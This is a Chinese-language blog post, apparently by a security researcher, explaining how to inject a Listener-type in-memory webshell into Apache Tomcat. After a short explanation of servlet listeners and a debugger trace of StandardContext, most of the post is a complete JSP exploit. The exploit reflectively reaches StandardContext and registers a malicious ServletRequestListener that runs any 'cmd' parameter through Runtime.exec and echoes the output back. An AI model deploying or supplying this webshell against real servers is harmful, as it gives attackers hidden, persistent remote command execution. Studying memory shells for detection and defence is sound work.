前情提要
看Listerner型内存马之前先给自己纠正一个误区,之前一直以为Listener是在Filter之后执行的,也是看了别的师傅的博客才纠正过来,属于是软工白学了。
Listener的监听对象可以分为以下三种
ServletContext,服务器启动和终止时触发
Session,有关Session操作时触发
Request,访问服务时触发
最好监听的显然是Request
,随便访问一个路径就能触发,我们的注入对象也肯定是选择Request的监听器,在注入之前,我们有以下两个概念需要了解下
EventListener
所有类型的监听器对象都必须实现的接口,因为这里我们的注入对象选的是Request型的,所以这里我们要重点关注它的 ServletRequestListener
子接口 (光看名字都知道这个和request有关吧)
ServletRequestListener
能够看出Request的监听器接口一共就两个方法需要我们实现,requestInitialized()
和requestDestroyed()
,光看名字也能知道他们的具体执行顺序,也不多说了,直接准备一下监听器部分的代码
ListenerDemo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package org.example; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; @WebListener("/listenerTest") public class ListenerDemo implements ServletRequestListener { public ListenerDemo(){ } @Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("Listener#requestDestroyed 被调用"); } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("Listener#requestInitialized 被调用"); } }
|
web.xml
1 2 3
| <listener> <listener-class>org.example.ListenerDemo</listener-class> </listener>
|
随便访问个路径得到以下结果,证明监听器设置完毕,我们在requestInitialized
设个断点看一下调用栈,能够看出来监听器这里依然是由standardContext
管理的,我们跟进一下StandardContext#fireRequestInitEvent()
这里
能够看到这里是在5983行对我们的监听器进行了调用,5980行对监听器进行了赋值
。这里的这个instance
肯定就是我们的溯源重点了,往前翻一下instance
的赋值流程,发现了一个重量级方法getApplicationEventListeners()
,跟进一下
出来的结果如下,到这一步我们基本就有一个具体的思路了,只要给StandardContext
的applicationEventListenersList
加一个我们自己构造的Listener
对象即可。
Exp构造
很简单的啦,套一套之前的Filter型模板就有啦
StandardContext对象获取
1 2 3 4 5 6 7 8 9 10
| ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
恶意Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <% public class Shell_Listener implements ServletRequestListener { public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed(ServletRequestEvent sre) { } } %>
|
给StandardContext添加Listener
1 2 3 4
| <% Shell_Listener shell_Listener = new Shell_Listener(); context.addApplicationEventListener(shell_Listener); %>
|
完整Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.List" %> <%@ page import="java.util.Arrays" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%! class ListenerMemShell implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse(); if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); } } @Override public void requestDestroyed(ServletRequestEvent sre) { } }%> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); Object[] objects = standardContext.getApplicationEventListeners(); List<Object> listeners = Arrays.asList(objects); List<Object> arrayList = new ArrayList(listeners); arrayList.add(new ListenerMemShell()); standardContext.setApplicationEventListeners(arrayList.toArray()); %>
|
执行结果如下,总体来说比Filter型的简单很多嗷